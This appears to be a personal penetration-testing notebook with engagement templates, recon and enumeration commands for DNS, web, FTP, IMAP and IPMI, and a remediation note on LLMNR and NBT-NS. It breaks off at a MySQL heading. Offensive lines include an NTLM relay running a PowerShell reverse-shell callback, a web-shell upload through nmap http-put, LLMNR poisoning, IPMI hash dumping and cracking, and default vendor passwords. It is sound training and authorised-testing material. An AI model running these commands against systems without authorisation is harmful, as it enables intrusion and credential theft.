Cyber

Docs - Pentesting

1 - Meta

Meta: Penetration Testing Execution Standard (PTES)

StepTask
1.Get the user flag on your own
2.Get the root flag on your own
3.Write your technical documentation
4.Write your non-technical documentation
5.Compare your notes with the official write-up
6.Create a list of information you have missed
7.Watch video or read blog walkthrough and compare it with your notes
- https://www.youtube.com/@ippsec/videos
- https://ippsec.rocks/?#
- https://www.youtube.com/@vbscrub/videos
- https://www.youtube.com/watch?v=CU9Iafc-Igs&list=PLF7JR1a3dLONdkRYU_8-5OcgOzrWe2549
- https://www.youtube.com/@LiveOverflow/videos
\
8.Expand your notes and documentation by adding the missed parts
Box
OWASP Juice ShopIs a modern vulnerable web application written in Node.js, Express, and Angular which showcases the entire OWASP Top Ten along with many other real-world application security flaws.
Metasploitable 2Is a purposefully vulnerable Ubuntu Linux VM that can be used to practice enumeration, automated, and manual exploitation.
Metasploitable 3Is a template for building a vulnerable Windows VM configured with a wide range of vulnerabilities.
DVWAThis is a vulnerable PHP/MySQL web application showcasing many common web application vulnerabilities with varying degrees of difficulty.

2 - Pre-Engagement

Penetration Test: Pre-Engagement Template

Penetration Test: Pre-Engagement Template


1. Project Metadata

  • Client Name: [Client Name]
  • Project Name: [Project Name / Engagement Title]
  • Date Created: [YYYY-MM-DD]
  • Start Date: [YYYY-MM-DD]
  • End Date: [YYYY-MM-DD]

Key Personnel

  • Primary Client Contact: [Name, Title, Email, Phone]
  • Secondary Client Contact: [Name, Title, Email, Phone]
  • Technical Support Contact: [Name, Title, Email, Phone]
  • Signatory Authority: [Name, Title]
  • Lead Penetration Tester: [Your Name]

2. Master Document Checklist

  • 1. Non-Disclosure Agreement (NDA)

    • Status: [Pending | Signed]
    • Notes:
  • 2. Scoping Questionnaire

    • Status: [Sent | Received | Reviewed]
    • Notes:
  • 3. Scoping Document

    • Status: [Drafting | Finalized]
    • Notes:
  • 4. Penetration Testing Proposal (Contract/SoW)

    • Status: [Drafting | Sent | Signed]
    • Notes:
  • 5. Rules of Engagement (RoE)

    • Status: [Drafting | Finalized | Signed]
    • Notes:
  • 6. Contractors Agreement (Physical Assessments)

    • Status: [N/A | Required | Signed]
    • Notes:
  • 7. Reports

    • Status: [In Progress | Delivered]
    • Notes:

3. Scoping Questionnaire

Assessment Type(s) Required

  • Internal Vulnerability Assessment
  • External Vulnerability Assessment
  • Internal Penetration Test
  • External Penetration Test
  • Wireless Security Assessment
  • Application Security Assessment
  • Physical Security Assessment
  • Social Engineering Assessment
  • Red Team Assessment
  • Web Application Security Assessment

Notes on specific requirements (e.g., black box, evasiveness, vishing):

Critical Scoping Information

  • How many expected live hosts?

    Answer:

  • How many IPs/CIDR ranges in scope?

    Answer:

  • How many Domains/Subdomains are in scope?

    Answer:

  • How many wireless SSIDs in scope?

    Answer:

  • How many web/mobile applications? Authenticated roles?

    Answer:

  • For phishing: how many users targeted? List provided?

    Answer:

  • For physical assessment: how many locations? Geographically dispersed?

    Answer:

  • Objective of the Red Team Assessment? Out of scope activities?

    Answer:

  • Is a separate Active Directory Security Assessment desired?

    Answer:

  • Will network testing be anonymous or as a standard domain user?

    Answer:

  • Do we need to bypass Network Access Control (NAC)?

    Answer:

Information Disclosure & Evasiveness

  • Information Disclosure Level:

    • Black Box (no information provided)
    • Grey Box (IPs/URLs provided)
    • White Box (detailed information provided)
  • Evasiveness Level:

    • Non-Evasive
    • Hybrid-Evasive (start quiet, get louder)
    • Fully Evasive

4. Contract / Scope of Work (SoW) Checklist

  • NDA:

    • A secrecy contract between the client and contractor.
    • Notes:
  • Goals:

    • High-level and fine-grained milestones to be achieved.
    • Notes:
  • Scope:

    • Individual components to be tested (domains, IPs, specific accounts).
    • Notes:
  • Penetration Testing Type:

    • The chosen type of test (e.g., Internal, External, Web App).
    • Notes:
  • Methodologies:

    • Examples: OSSTMM, OWASP, PTES.
    • Notes:
  • Penetration Testing Locations:

    • External (Remote via VPN) and/or Internal.
    • Notes:
  • Time Estimation:

    • Start and end dates for the entire engagement and for specific phases (Exploitation, Post-Ex). Testing hours (during/after business hours).
    • Notes:
  • Third Parties:

    • Any cloud providers, ISPs, or hosting providers involved. Written consent must be obtained from them by the client.
    • Notes:
  • Evasive Testing:

    • Clarify if techniques to evade security systems are in scope.
    • Notes:
  • Risks:

    • Inform the client of potential risks (e.g., system instability, locked accounts).
    • Notes:
  • Scope Limitations & Restrictions:

    • Which servers, workstations, or network components are critical and must be avoided.
    • Notes:
  • Information Handling:

    • Compliance requirements (e.g., HIPAA, PCI, NIST).
    • Notes:
  • Contact Information:

    • A full list of contacts and an escalation priority order.
    • Notes:
  • Lines of Communication:

    • E-mail, phone calls, personal meetings.
    • Notes:
  • Reporting:

    • Structure of the report, customer-specific requirements, and presentation plans.
    • Notes:
  • Payment Terms:

    • Prices and terms of payment.
    • Notes:

5. Rules of Engagement (RoE) Checklist

  • Introduction: Description of the RoE document.
  • Contractor: Company name, key contacts.
  • Penetration Testers: Names of testers.
  • Contact Information: Full contact details for all parties.
  • Purpose: Purpose of the penetration test.
  • Goals: Goals to be achieved.
  • Scope: All IPs, domains, URLs, CIDR ranges.
  • Lines of Communication: E-mail, phone, etc.
  • Time Estimation: Start and end dates.
  • Time of the Day to Test: Specific testing hours.
  • Penetration Testing Type: The specific type of test.
  • Penetration Testing Locations: How the connection to the client network is established.
  • Methodologies: OSSTMM, PTES, OWASP, etc.
  • Objectives / Flags: Specific users, files, or information to target.
  • Evidence Handling: Encryption and secure protocols for handling evidence.
  • System Backups: Acknowledgment of client’s backup procedures.
  • Information Handling: Strong data encryption requirements.
  • Incident Handling and Reporting: Process for emergency contact and test interruptions.
  • Status Meetings: Frequency, dates, times, and attendees.
  • Reporting: Type, target readers, and focus of the final report.
  • Retesting: Start and end dates for retesting patched vulnerabilities.
  • Disclaimers and Limitation of Liability: System damage, data loss.
  • Permission to Test: Confirmation of signed contract.

6. Kick-Off Meeting Agenda

  • Attendees:
    • [List of Client POCs]
    • [List of Client Technical Staff]
    • [List of Pentesting Team Members]
  • Agenda Items:
    • Review nature and scope of the penetration test.
    • Confirm Rules of Engagement (RoE).
    • Define “Critical Vulnerability” and the process for immediate notification (e.g., for unauthenticated RCE).
    • Discuss potential risks (log entries, alarms, accidental account lockouts).
    • Explain the full penetration testing process in a clear, non-technical way.
    • Confirm client’s goals and priorities.
    • Open floor for Q&A.

7. Physical Assessment Addendum

  • Introduction
  • Contractor
  • Purpose
  • Goal
  • Penetration Testers
  • Contact Information
  • Physical Addresses
  • Building Name
  • Floors
  • Physical Room Identifications
  • Physical Components
  • Timeline
  • Notarization
  • Permission to Test (“Get Out of Jail Free Card”)

Pre-Engagement

Baseline Tracking of Technological Assets

Diagrams.net: https://app.diagrams.net/

  • DNS records, network device backups, and DHCP configurations
  • Full and current application inventory
  • A list of all enterprise hosts and their location
  • Users who have elevated permissions
  • A list of any dual-homed hosts (2+ network interfaces)
  • Keeping a visual network diagram of your environment

People, Processes, and Technology

Processes

  • Proper policies and procedures for asset monitoring and management
    • Host audits, the use of asset tags, and periodic asset inventories can help ensure hosts are not lost
  • Access control policies (user account provisioning/de-provisioning), multi-factor authentication mechanisms
  • Processes for provisioning and decommissioning hosts (i.e., baseline security hardening guideline, gold images)
  • Change management processes to formally document who did what and when they did it

Perimeter First

  • What exactly are we protecting?
  • What are the most valuable assets the organization owns that need securing?
  • What can be considered the perimeter of our network?
  • What devices & services can be accessed from the Internet? (Public-facing)
  • How can we detect & prevent when an attacker is attempting an attack?
  • How can we make sure the right person &/or team receives alerts as soon as something isn’t right?
  • Who on our team is responsible for monitoring alerts and any actions our technical controls flag as potentially malicious?
  • Do we have any external trusts with outside partners?
  • What types of authentication mechanisms are we using?
  • Do we require Out-of-Band (OOB) management for our infrastructure. If so, who has access permissions?
  • Do we have a Disaster Recovery plan?

Internal Considerations

  • Are any hosts that require exposure to the internet properly hardened and placed in a DMZ network?
  • Are we using Intrusion Detection and Prevention systems within our environment?
  • How are our networks configured? Are different teams confined to their own network segments?
  • Do we have separate networks for production and management networks?
  • How are we tracking approved employees who have remote access to admin/management networks?
  • How are we correlating the data we are receiving from our infrastructure defenses and end-points?
  • Are we utilizing host-based IDS, IPS, and event logs?

3rd Parties Infrastructure

Sensitive Data Regulations

3 - Info Gathering

Information Gathering

Enumeration

Primary source of information will be:

  • scoping document (in-scope assets)
  • passive OSINT
No.Principle
1.There is more than meets the eye. Consider all points of view.
2.Distinguish between what we see and what we do not see.
3.There are always ways to gain more information. Understand the target.
LayerNameGoal / Purpose
1Internet PresenceDiscover Assets: Identify all public-facing domains, subdomains, IPs, and netblocks.
2GatewayAnalyze the Perimeter: Understand the target’s external interfaces and protection mechanisms (e.g., WAF, firewall).
3Accessible ServicesEnumerate Services: Identify and understand the function of every open port and running service on the discovered assets.
4ProcessesUnderstand Functionality: Analyze how data is processed by services and identify dependencies between inputs and outputs.
5PrivilegesIdentify Permissions: Determine the privileges of each service’s user account and look for overlooked or excessive permissions.
6OS SetupInternal Recon: After gaining access, gather information on the OS configuration, security posture, and admin practices.

External Recon (Passive OSINT)

Data PointDescription
IP SpaceValid ASN for our target, netblocks in use for the organization’s public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc.
Domain InformationBased on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.)
Schema FormatCan we discover the organization’s email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc.
Data DisclosuresFor data disclosures we will be looking for publicly accessible files ( .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on the target. For example, any published files that contain intranet site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.)
Breach DataAny publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold.

And where to find that above information…

ResourceExamples
ASN / IP registrarsIANA, arin for searching the Americas, RIPE for searching in Europe, BGP Toolkit
Domain Registrars & DNSDomaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as 8.8.8.8.
Social MediaSearching Linkedin, Twitter, Facebook, your region’s major social media sites, news articles, and any relevant info you can find about the organization.
Public-Facing Company WebsitesOften, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the “About Us” and “Contact Us” pages can also be gold mines.
Cloud & Dev Storage SpacesGitHub, AWS S3 buckets & Azure Blog storage containers, Google searches using “Dorks”
Breach Data SourcesHaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication.

via DNS

Great to validate and discover new information, especially from IP and ASN searches.

via Search Engine Dorking

  • See more about… Search Engine Dorking

    Source: Docs > 3 - Info Gathering > search-engine-dorking

    site:
    inurl:
    filetype:
    intitle:
    intext:
    inbody:
    cache:
    link:
    related:
    info:
    define:
    numrange:
    allintext:
    allinurl:
    allintitle:
    
    # Operators
    AND
    OR
    NOT
    *
    ..
    " "
    -
    +
    
    ### EXAMPLES
    # Find Emails
    inurl:<DOMAIN> intext:"@<DOMAIN>"
    
    # Finding Login Pages:
    site:<DOMAIN> inurl:login
    site:<DOMAIN> (inurl:login OR inurl:admin)
    
    # Identifying Exposed Files:
    site:<DOMAIN> filetype:pdf
    site:<DOMAIN> (filetype:xls OR filetype:docx)
    inurl:<DOMAIN> filetype:pdf  # !!! careful this one can show malicious site hosting cached files !!!
    
    # Uncovering Configuration Files:
    site:<DOMAIN> inurl:config.php
    
    # (searches for extensions commonly used for configuration files)
    site:<DOMAIN> (ext:conf OR ext:cnf)
    
    # Locating Database Backups:
    site:<DOMAIN> inurl:backup
    site:<DOMAIN> filetype:sql
  • See more about… User Enumeration (Kerbrute)

    Source: Docs > 6 - Post-Exploitation > active-directory#user-enumeration-kerbrute

    User Enumeration (Kerbrute)

    “A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”

    See more about… User Enum

    Source: Docs > 5 - Exploitation > password#user-enum

    User Enum

    All of these use anonymous sessions, but credentials can be tried as well.

    # via enum4linux-ng (this uses RPC)
    enum4linux-ng -U <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"
    
    # via RPC
    rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
    grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt
    
    # via SMB
    netexec smb <TARGET> --users
    
    # via LDAP anon bind
    # https://linux.die.net/man/1/ldapsearch
    # Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
    ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
    
    # Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
    # LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
    # for <WORDLIST>: wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
    kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>
    # Use a userlist
    wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
    
    # AD Username Brute-Force
    kerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>

    Find High Value Users

    # via SMB
    nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"
    # via LDAP
    # gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.
    nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

via Social Media

Check various sites, especially for different types of IT admins, to skim information about hardware, software, or services used:

  • LinkedIn.com
  • Indeed.com
  • Glassdoor.com

via other Services

Internal Recon (Passive)

Passively, sampling the traffic can be a great way to understand the network insofar as hosts, services, and maybe even sometimes credentials!

See more about… Responder (Linux)

Source: Docs > 5 - Exploitation > protocol-poisoners#responder-linux

Responder (Linux)

Can attack the following protocols:

  • LLMNR
  • DNS
  • MDNS
  • NBNS
  • DHCP
  • ICMP
  • HTTP
  • HTTPS
  • SMB
  • LDAP
  • WebDAV
  • Proxy Auth
  • MSSQL
  • DCE-RPC
  • FTP, POP3, IMAP, and SMTP auth
# Force WPAD login...this may cause a login prompt
sudo responder --wpad f --ForceWpadAuth <INTERFACE>

# ANALYZE MODE: observe NBT-NS, BROWSER, LLMNR requests w/o responding
sudo responder -I <INTERFACE> -A

# Use RevShell to send a PowerShell base64 callback
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'
# Sample the network traffic
sudo tcpdump -i <INTERFACE> -w <OUTPUT_FILE>

Manual Scanning

# -p: source port
# TCP
nc -nvzw5 <TARGET> <PORT>
# UDP
nc -unvzw5 <TARGET> <PORT>

# Connect to Encrypted Service (TLS/SSL)
openssl s_client -starttls ftp -connect <TARGET>:<PORT>

# Banner Grabbing
sudo nmap -n -Pn --script banner.nse <TARGET>

### Ping Sweeps

# NOTE: sometimes ARP caches are delayed or not built... so running a ping sweep 2x is helpful

# NIX
for i in {1..254} ; do (ping -c1 <TARGET_SUBNET>.$i | grep "bytes from" &) ; done

###  WIN
# DOS
for /L %i in (1 1 254) do ping <TARGET_SUBNET>.%i -n 1 -w 100 | find "Reply"
# PowerShell
1..254 | % { $ip="<TARGET_SUBNET>.$_"; if ((New-Object System.Net.NetworkInformation.Ping).Send($ip, 100).Status -eq "Success") { "$($ip): True" } }

# Metasploit
run post/multi/gather/ping_sweep RHOSTS=<TARGET_SUBNET>

Nmap

  • Open - received TCP SYN-ACK
  • Closed - received TCP RST
  • Filtered - no response
  • Unfiltered - (with -sA TCP ACK scans) can’t determine the state, but the port is accessible
  • Open/Filtered - can’t tell if the port is open or blocked by a firewall
  • Closed/Filtered - (with -sI IP ID idle scan) can’t tell if the port is closed or blocked by a firewall

Filtering out live hosts for -iL:

# Quick
sudo nmap -n -Pn -sS -sV -sC --stats-every 15s -oA scan_nmap_initial <TARGET> -v
# All Ports
sudo nmap -n -Pn -sS -p- --min-rate 5000 --stats-every 60s -oA scan_nmap_disc_all_ports <TARGET> -v
sudo nmap -n -Pn -sS -sV -sC -p <NEW_PORTS> --reason --stats-every 60s -oA scan_nmap_details_all_ports <TARGET> -v

---

# Find Live Hosts
sudo nmap -n -sn --reason -oA host_disc <TARGET>
# Create list
grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt
# Scan normally w/ list
sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt
# Trace packet (MORE INFO)
sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET>

# TCP Full-Connect (3-way handshake)
sudo nmap -n -Pn -sT -sV -sC --reason <TARGET>

# UDP (normally no response)
sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET>

# Create HTML reports from nmap XML scan
# https://nmap.org/book/output.html
xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html

# SPAM: scan using multiple IP addresses
sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET>

# --max-retries <ATTEMPTS>
# -T <AGGRESSION_1_5>
# --packet-trace
# --reason
# --disable-arp-ping
# --top-ports=<NUM>
# --script <SCRIPT>
# -g <SRC_PORT>
# --dns-server <NAMESERVER>

๐Ÿ“œ Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.

Reference: NSE Usage Guide

๐Ÿ“– How to Use NSE

Basic Usage:

  • -sC - Run a set of popular, common scripts
  • --script - Run specific scripts by name, category, or file path
  • --script-help - Show arguments for --script-args

Advanced Usage:

  • Combine scripts with wildcards: --script "smb-*,http-*"
  • Use comprehensive documentation: NSE Script Database
  • Search for scripts: grep "ftp" /usr/share/nmap/scripts/script.db
# --script-trace : trace script scans
nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>
๐Ÿ“‚ Script Categories

Location: /usr/share/nmap/scripts

CategoryDescription
authScripts related to authentication, such as bypassing credentials or checking for default ones.
broadcastUsed to discover hosts on the local network by broadcasting requests.
bruteScripts that perform brute-force attacks to guess passwords or credentials.
defaultThe core set of scripts that are run automatically with -sC or -A.
discoveryActively gathers more information about a network, often using public registries or protocols like SNMP.
dosTests for vulnerabilities that could lead to a denial-of-service attack.
exploitActively attempts to exploit known vulnerabilities on a target system.
externalInteracts with external services or databases.
fuzzerSends unexpected or randomized data to a service to find bugs or vulnerabilities.
intrusiveThese scripts can be noisy, resource-intensive, or potentially crash the target system.
malwareScans for known malware or backdoors on a target host.
safeScripts that are considered safe to run as they are not designed to crash services, use excessive resources, or exploit vulnerabilities.
versionExtends the functionality of Nmap’s version detection feature.
vulnChecks a target for specific, known vulnerabilities.

๐Ÿ“ฅ Install New NSE Script

sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \
    https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse

nmap --script-updatedb

Search Engine Dorking

site:
inurl:
filetype:
intitle:
intext:
inbody:
cache:
link:
related:
info:
define:
numrange:
allintext:
allinurl:
allintitle:

# Operators
AND
OR
NOT
*
..
" "
-
+

### EXAMPLES
# Find Emails
inurl:<DOMAIN> intext:"@<DOMAIN>"

# Finding Login Pages:
site:<DOMAIN> inurl:login
site:<DOMAIN> (inurl:login OR inurl:admin)

# Identifying Exposed Files:
site:<DOMAIN> filetype:pdf
site:<DOMAIN> (filetype:xls OR filetype:docx)
inurl:<DOMAIN> filetype:pdf  # !!! careful this one can show malicious site hosting cached files !!!

# Uncovering Configuration Files:
site:<DOMAIN> inurl:config.php

# (searches for extensions commonly used for configuration files)
site:<DOMAIN> (ext:conf OR ext:cnf)

# Locating Database Backups:
site:<DOMAIN> inurl:backup
site:<DOMAIN> filetype:sql

Web

# HTTP Headers + robots.txt
curl -skLI -o curl_http_headers.txt http://<TARGET>
curl -skL -o curl_robots.txt http://<TARGET>/robots.txt

---

# Checks for WAF (wbapp firewall)
wafw00f <TARGET>

# Enum web server + version + OS + frameworks + libraries
whatweb --aggression 3 http://<TARGET> --log-brief=whatweb_scan.txt

# Fingerprint web server
nikto -o nikto_fingerprint_scan.txt -Tuning b -h http://<TARGET>

# Enum web server vulns
nikto -o nikto_vuln_scan.txt -h http://<TARGET>

# Enum web app logic & vulns
wapiti -f txt -o wapiti_scan.txt --url http://<TARGET>

# vHost Brute-force
gobuster --quiet --threads 64 --output gobuster_vhost_top5000 vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain --exclude-length 250-320 --domain <DOMAIN> -u "http://<IP_ADDR>"  # uses IP addr

# Webpage Crawler
pip3 install --break-system-packages scrapy
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip && unzip ReconSpider.zip
python3 ReconSpider.py <URL> && cat results.json
# !!! CHECK "results.json" !!!

---

# /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Directory brute-force with a common wordlist
gobuster dir --quiet --threads 64 --output gobuster_dir_common --follow-redirect --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt --url http://<TARGET>

# w/ file extensions
gobuster dir --quiet --threads 64 --output gobuster_dir_medium ---follow-redirect --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt --extensions php,html,txt,bak,zip --url http://<TARGET>

### โšก FEROXBUSTER: faster and recursive
feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_common --scan-dir-listings -u http://<TARGET>

---

# AUTOMATED Recon
git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
chmod +x ./finalrecon.py
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
./finalrecon.py -nb -r -cd final_recon_scan -w /usr/share/wordlists/dirb/common.txt --headers --crawl --ps --dns --sub --dir --url http://<URL>

4 - Vuln Analysis (Services)

DNS

Dangerous Settings
OptionDescription
allow-queryDefines which hosts are allowed to send requests to the DNS server.
allow-recursionDefines which hosts are allowed to send recursive requests to the DNS server.
allow-transferDefines which hosts are allowed to receive zone transfers from the DNS server.
zone-statisticsCollects statistical data of zones.
# Registrar Info
whois <DOMAIN> | whois.txt

# Query Nameserver for domain
dig @<DNS_SERVER> ns <DOMAIN>

# PTR Record or Reverse DNS Query
dig @<DNS_SERVER> -x <IP_ADDRESS>

# OLD: version / all records / zone transfer
dig @<DNS_SERVER> +short CH TXT version.bind <DOMAIN>
dig @<DNS_SERVER> +short ANY <DOMAIN>
dig @<DNS_SERVER> +short AXFR <DOMAIN>

# --- Record Types ---
# ANY: return all records -- sometimes doesnt work!
# A: IPv4 address
# AAAA: IPv6 address
# CNAME: Canonical Name
# MX: Mail Servers
# NS: Name Servers
# PTR: Pointer Record
# SOA: Start of Authority
# TXT: Text Records
# SRV: Service Records
# CAA: Certification Authority Authorization
for type in A AAAA CNAME MX NS SOA SRV TXT CAA; do echo -e "\n--- $type ---"; dig @<DNS_SERVER> +short $type <DOMAIN>; done

# PASSIVE: subdomain enum
# NOTE: requires API keys
subfinder -v -d <DOMAIN>

# ACTIVE: subdomain enum (quick, external)
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt <DOMAIN>

# ACTIVE: subdomain enum (slower, internal)
# /usr/share/SecLists/Discovery/DNS/namelist.txt
gobuster dns --threads 64 --output gobuster_dns_top110000 --quiet -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --resolver <DNS_SERVER> --domain <DOMAIN>

๐ŸŒ Subdomains

# Domain => Subdomains via Cert Registry
curl -s "https://crt.sh/?q=<DOMAIN>&output=json" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u | tee subdomainlist.txt
# Full Info 
for i in $(cat subdomainlist.txt) ; do host $i | tee -a hostinfo.txt ; done
# (IPv4) Domain Name => IP Address
for i in $(cat subdomainlist.txt) ; do host $i | grep "has address" | cut -d" " -f1,4 | tee -a domain_ipaddress.txt ; done
# (IPv4) Addresses Only
for i in $(cat domain_ipaddress.txt) ; do host $i | grep "has address" | cut -d" " -f4 | tee -a ip-addresses.txt ; done
# (IPv4) Addresses => Services via Shodan
for i in $(cat ip-addresses.txt) ; do shodan host $i ; done

# DNS: old technique
dig any <DOMAIN>

# Content Search: google.com Dork
inurl:<DOMAIN> intext:<TERM>

LLMNR & NBT-NS

  • UDP 5355: LLMNR (modern)
  • UDP 137: NBT-NS (ancient)

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that used as failover protocols when DNS is unavailable.

On a Windows, the box will attempt to resolve a hostname in this order:

  1. Checks Local HOSTS file.
  2. Checks DNS Cache / DNS Server.
  3. (If DNS Fails): Sends LLMNR Multicast.
  4. (If LLMNR Fails): Sends NBT-NS Broadcast.

Remediation

Typically, disabling LLMNR and NBT-NS can cautiously used (to ensure no breakages) at the network or host-level.

  • Disable LLMNR by:

    • Group Policy –>
    • Computer Configuration –>
    • Administrative Templates –>
    • Network –>
    • DNS Client
    • Enable “Turn OFF Multicast Name Resolution”
  • Disable NBT-NS (locally only on each host or via GPO w/ PowerShell):

    • Network and Sharing Center –>
    • Control Panel –>
    • Change adapter settings
    • Right-clicking on the adapter –> properties –>
    • Selecting Internet Protocol Version 4 (TCP/IPv4) –> Properties –> Advanced –> selecting the WINS tab
    • Select “Disable NetBIOS over TCP/IP”

FTP

**TFTP has no auth and uses only UDP.

Dangerous Settings
SettingDescription
anonymous_enable=YESAllowing anonymous login?
anon_upload_enable=YESAllowing anonymous to upload files?
anon_mkdir_write_enable=YESAllowing anonymous to create new directories?
no_anon_password=YESDo not ask anonymous for password?
anon_root=/home/username/ftpDirectory for anonymous.
write_enable=YESAllow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE?
# Connect to FTP server in passive mode with anonymous login
# Username: anonymous
# Password: (no password required)
ftp -p -a <TARGET>
ftp -p ftp://<USER>:<PASS>@<TARGET>

# Turn off passive mode
passive

# List files and directories
ls -la
ls -laR

# Read file
get <FILENAME> -
# Download file
get <FILENAME>
# Upload file
put <FILENAME>
# Download ALL files
mkdir ftp_files
wget -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET>

# Execute local commands (outside of session)
!<COMMAND>

IMAP/POP3

  • TCP 143/993: IMAP unc/enc
  • TCP 110/995: POP3 unc/enc
Dangerous Settings
SettingDescription
auth_debugEnables all authentication debug logging.
auth_debug_passwordsThis setting adjusts log verbosity, the submitted passwords, and the scheme gets logged.
auth_verboseLogs unsuccessful authentication attempts and their reasons.
auth_verbose_passwordsPasswords used for authentication are logged and can also be truncated.
auth_anonymous_usernameThis specifies the username to be used when logging in with the ANONYMOUS SASL mechanism.
# Enumerate
sudo nmap -n -Pn -sV -sC -p25,110,143,465,587,993,995 <TARGET>

### Non-Interactive

# IMAPS
curl -vkL --user '<USER>':'<PASSWORD>' 'imaps://<TARGET>' -X <COMMAND>

# POP3S
curl -vkL --user '<USER>':'<PASSWORD>' 'pop3s://<TARGET>' -X <COMMAND>

### Interactive

# IMAPS
openssl s_client -connect <TARGET>:imaps
1 LOGIN <USERNAME> <PASSWORD>
1 LIST "" *	# Lists all directories
1 SELECT "<MAILBOX>" # Selects a mailbox
1 UNSELECT "<MAILBOX>" # Exits the selected mailbox
1 FETCH <ID> all # Metadata of email
1 FETCH 1:* (BODY[]) # Show all emails
1 CREATE "INBOX" # Creates a mailbox with a specified name
1 DELETE "INBOX" # Deletes a mailbox
1 RENAME "ToRead" "Important" #	Renames a mailbox
1 LSUB "" *	# Returns a subset of names from the set of names that the User has declared as being active or subscribed
1 CLOSE	# Removes all messages with the Deleted flag set
1 LOGOUT # Closes the connection

# POP3s
openssl s_client -connect <TARGET>:pop3s
USER <USERNAME>
PASS <PASSWORD>
STAT	# List num of saved emails from the server.
LIST	# List number and size of all emails.
RETR <ID>	# Deliver the requested email by ID.
DELE <ID> # Delete the requested email by ID.
CAPA	# Display the server capabilities.
RSET	# Reset the transmitted information.
QUIT	# Close connection

IPMI

  • UDP 623: normal
  • Default Passwords:
    • Dell iDRAC: root:calvin
    • HP iLO: Administrator:[randomized 8-character string consisting of numbers and uppercase letters]
    • Supermicro IPMI: ADMIN:ADMIN

A hardware control protocol that gives “virtual” physical access to a machine.

Dangerous Settings
  • Server sends the salted hash of the user’s password to the user before authentication
### Enumeration via nmap
sudo nmap -sU -p623 --script ipmi-version

### Metasploit Scanner
setg RHOSTS <TARGET>
# https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_version/
use auxiliary/scanner/ipmi/ipmi_version
run
# https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes/
use auxiliary/scanner/ipmi/ipmi_dumphashes
run

### Crack HP iLO format
# https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txt

MySQL

